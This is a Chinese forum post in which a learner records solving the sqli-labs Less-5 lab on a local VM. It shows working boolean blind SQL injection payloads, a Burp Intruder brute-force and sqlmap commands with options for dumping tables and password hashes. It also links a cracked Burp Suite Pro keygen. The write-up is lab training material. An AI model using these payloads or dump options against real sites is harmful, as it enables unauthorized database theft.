学破解第144天,《Less-5 GET型基于布尔类型盲注与burp suite、SQLmap的使用》学习
前言:
从小学到大专(计算机网络技术专业),玩过去的,所以学习成绩惨不忍睹,什么证书也没考,直到找不到工作才后悔,不知道怎么办才好。
2017年12月16日,通过19元注册码注册论坛账号,开始做伸手党,潜水一年多,上来就是找软件。(拿论坛高大上的软件出去装X)
2018年8月10日,报名了华中科技大学网络教育本科(计算机科学与技术专业)2018级秋季。(开始提升学历)
2019年6月17日,不愿再做小菜鸟一枚,开始零基础学习破解。(感谢小糊涂虫大哥在我刚开始学习脱壳时,录制视频解答我的问题)
2020年7月7日,感谢H大对我的鼓励,拥有了第一篇获得优秀的文章。(接下来希望学习逆向,逆天改命)
2021年8月11日,华科学位英语2次不过,仅取得了毕业证书,学业提升失败,开始琢磨考注册类和职称类证书,谋求涨薪
坛友们,年轻就是资本,和我一起逆天改命吧,我的学习过程全部记录及学习资源:https://www.52pojie.cn/thread-1503734-1-1.html
立帖为证!--------记录学习的点点滴滴
0x1 Less-3 PHP源码修改
1.同样打开index文件源码看到:
$sql="SELECT \* FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
根据前面的知识可以知道很明显这是单引号注入。
2.一样在前面加上这两句代码,把我们注入的sql打印出来,方便分析学习。
echo $sql;
echo "<br/>";
3.输入正确显示:http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1
输出:
You are in...........
4.输入错误显示:http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=999
输出:
什么都不显示。
5.单引号测试:http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27
输出:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
0x2 实战打靶(翻车)
1.兄弟们看好了,区区单引号注入,看小菜鸟信手拈来,轻松拿库,还是先order by判断列。
浏览器地址栏输入:
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27order%20by%201%23
页面输出:
SELECT * FROM users WHERE id='1'order by 1#' LIMIT 0,1
You are in...........
浏览器地址栏输入:
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27order%20by%202%23
页面输出:
SELECT * FROM users WHERE id='1'order by 2#' LIMIT 0,1
You are in...........
浏览器地址栏输入:
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27order%20by%203%23
页面输出:
SELECT * FROM users WHERE id='1'order by 3#' LIMIT 0,1
You are in...........
浏览器地址栏输入:
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27order%20by%204%23
页面输出:
SELECT * FROM users WHERE id='1'order by 4#' LIMIT 0,1
Unknown column '4' in 'order clause'
2.在地址栏输入后,可以判断出只有3列,接下来union联合注入:http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27union%20select%201,2,3%23
SELECT * FROM users WHERE id='1'union select 1,2,3#' LIMIT 0,1
You are in...........
???貌似哪里不对
3.刚刚是在干嘛?测试哪里能回显数据,方便我们注入后的sql执行结果返回在页面上,可是小菜鸟在浏览器地址栏输入:
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=2
http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=3
页面雷打不动。
正确就只显示这一句话,错误就啥也不显示,这没有可以利用的地方啊???
4.去百度找找布尔注入的资料:
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
Length)函数返回字符串的长度Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间n为n秒
if(expr1,exp r2, expr3):判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句
根据CSDN上面的知识(详细见文末参考资料),就是利用函数判断后一条语句是否执行,得到我们想要的结果。
5.假如这里我还是查询当前数据库,怎么得到数据库名呢?
可以想到的思路如下:
1)判断数据库长度,利于>1,>2,>3,....,>n依次执行,根据页面返回的正确与否得到数据库的长度
2)判断第一个字符=a,=b,......=z,得到数据库名的第一个字符
3)重复第二步,就能得到完整的数据库名了。
天啊,手注太难了,这样下去要把手注断,我要换装备,换上burp suite。
0x3 新装备burp suite登场
1.先去百度burp suite安装教程:https://jingyan.baidu.com/article/15622f24ae2b36bcfdbea54f.html,天啊,这还是个大工程,还要安装jdk。
2.既然要先安装jdk,小菜鸟再次百度jdk的安装和配置:https://jingyan.baidu.com/article/e4d08ffd428dd80fd2f60dd7.html,嗯,环境配置好,测试安装完成没有:
C:\Users\LENOVO>java -version
java version "1.8.0_291"
Java(TM) SE Runtime Environment (build 1.8.0_291-b10)
Java HotSpot(TM) 64-Bit Server VM (build 25.291-b10, mixed mode)
再试试javac命令,同样正常,看样子没啥问题了。
3.接下来去论坛爱盘下载https://down.52pojie.cn/Tools/Network_Analyzer/Burp_Suite_Pro_v1.7.37_Loader_Keygen.zip,照着教程安装,折腾半天终于成功了。
4.接下来搜索一下怎么使用新装备,设置一下代{过}{滤}理。
发现谷歌浏览器打不开https网站了,按照教程(参考资料见文末),注意先开代{过}{滤}理再按教程去下载证书,导入证书到谷歌浏览器,然后指定拦截URL。
5.接下来输入进行left查询:http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1%27%20and%20left((select%20database()),1)=%27a%27%23,1)=%27a%27%23),判断数据库名第一个字符是不是a。
接下来就是burp发挥作用的时候了:
1)拦截到请求
GET /sqli-labs-master/Less-5/?id=1%27%20and%20left((select%20database()),1)=%27a%27%23 HTTP/1.1
Host: 192.168.32.129:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2)右键-》send to intruder,再点击菜单栏的intruder,接着点击positions,再点击clear。
3)接下来对着字符a前后位置,点击add,让a作为变量,然后点击payloads,选择brute force暴力破解,输入可能的字符和长度,如下图所示:
4)再点击options,Number of threads这里填线程,这里小菜鸟就不乱动了,点右上方的start attack开始暴力破解。
5)从上图发现只有变量为s的时候,数据包长度不一样,双击s进去,看一下response,浏览器响应you are in,说明数据库名的第一个字符就是s了。
6.循环重复上面的步骤就可以得到当前的数据库名了。
7.也可以使用ascii函数将字符变成ASCII值进行比较,这样就可以使用二分法提高效率了。
SELECT ascii(left((select database()),1))>100,回显
SELECT ascii(left((select database()),1))>110,回显
SELECT ascii(left((select database()),1))>120,不回显,说明在110-120之间
......
以此类推最后就能得出结论ascii 115对应的字符s就是数据库名第1个字符(详见ASCII对照表)。
就靠着二分法猜或者配合burp suite暴力破解一个一个字母去判断能得出我们想要的信息了,判断数据库名长度参考资料里面又讲length函数,同样可以采用二分法判断。
0x4 SQLmap神器
1.前面破解太费时费力了,听说SQLmap是mysql神器,让小菜鸟来试试。
2.打开命令行输入:sqlmap -u "http://192.168.32.129:8888/sqli-labs-master/Less-5/?id=1" --dbs
3.一直点yes,最终输出:
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.5
[01:55:23] [INFO] fetching database names
[01:55:23] [INFO] resumed: 'information_schema'
[01:55:23] [INFO] resumed: 'challenges'
[01:55:23] [INFO] resumed: 'mysql'
[01:55:23] [INFO] resumed: 'performance_schema'
[01:55:23] [INFO] resumed: 'security'
available databases [5]:
challenges
information_schema
mysql
performance_schema
security
4.小菜鸟直接好家伙,神器啊,这里小菜鸟只是简单的列举数据,还有更多用法,例如枚举所有数据库信息,枚举所有表信息等等:
-a, –all 获取所有信息
-b, –banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–schema 枚举数据库架构
–count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–search 搜索列(S),表(S)和/或数据库名称(S)
–comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–pivot-column=P.. Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 获取第一个查询输出数据位置
–stop=LIMITSTOP 获取最后查询的输出数据
–first=FIRSTCHAR 第一个查询输出字的字符获取
–last=LASTCHAR 最后查询的输出字字符获取
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要执行的SQL文件
5.补充一下sql中常用来作布尔注入的函数
1. left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
2. regexp函数:select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式
3. like函数: select user() like ‘ro%’ 匹配与regexp相似。
4. substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii() 将某个字符串转化为ascii值
6. chr(数字) 或者是ord(‘字母’) 使用python中的两个函数可以判断当前的ascii值是多少
对于security数据库:
select left(database(),1)=‘s’; 前1位是否是s
select database() regexp ‘s’; 匹配第一个字符是否是 s
select database() like ‘s%’; 匹配第一个字符是否是 s
select substr((select database()),1,1)='s’; 匹配第一个字符是否是 s
select substr((select database()),1,3)= ‘sec’; 匹配前三个个字符是否是 sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是:
select ascii(substr((select database()),1,1)) > 110; 如果大于110,就会返回1,否则返回0.
0x5 总结
1.页面会返回数据库查询的结果,可以利用回显使用联合注入。
2.页面只会显示正确与否,可以使用布尔注入。
3.工具还是厉害,学习了两款工具的简单使用。
0x6 参考资料
1.SQL盲注注入——布尔型
2.BurpSuite安装教程
3.java安装及环境配置
4.burp suite的安装与基本使用
5.ASCII码对照表
6.sqlmap基础入门超详细教程
PS:善于总结,善于发现,找到分析问题的思路和解决问题的办法。虽然我现在还是零基础的小菜鸟一枚,也许学习逆向逆天改命我会失败,但也有着成功的可能,只要还有希望,就决不放弃!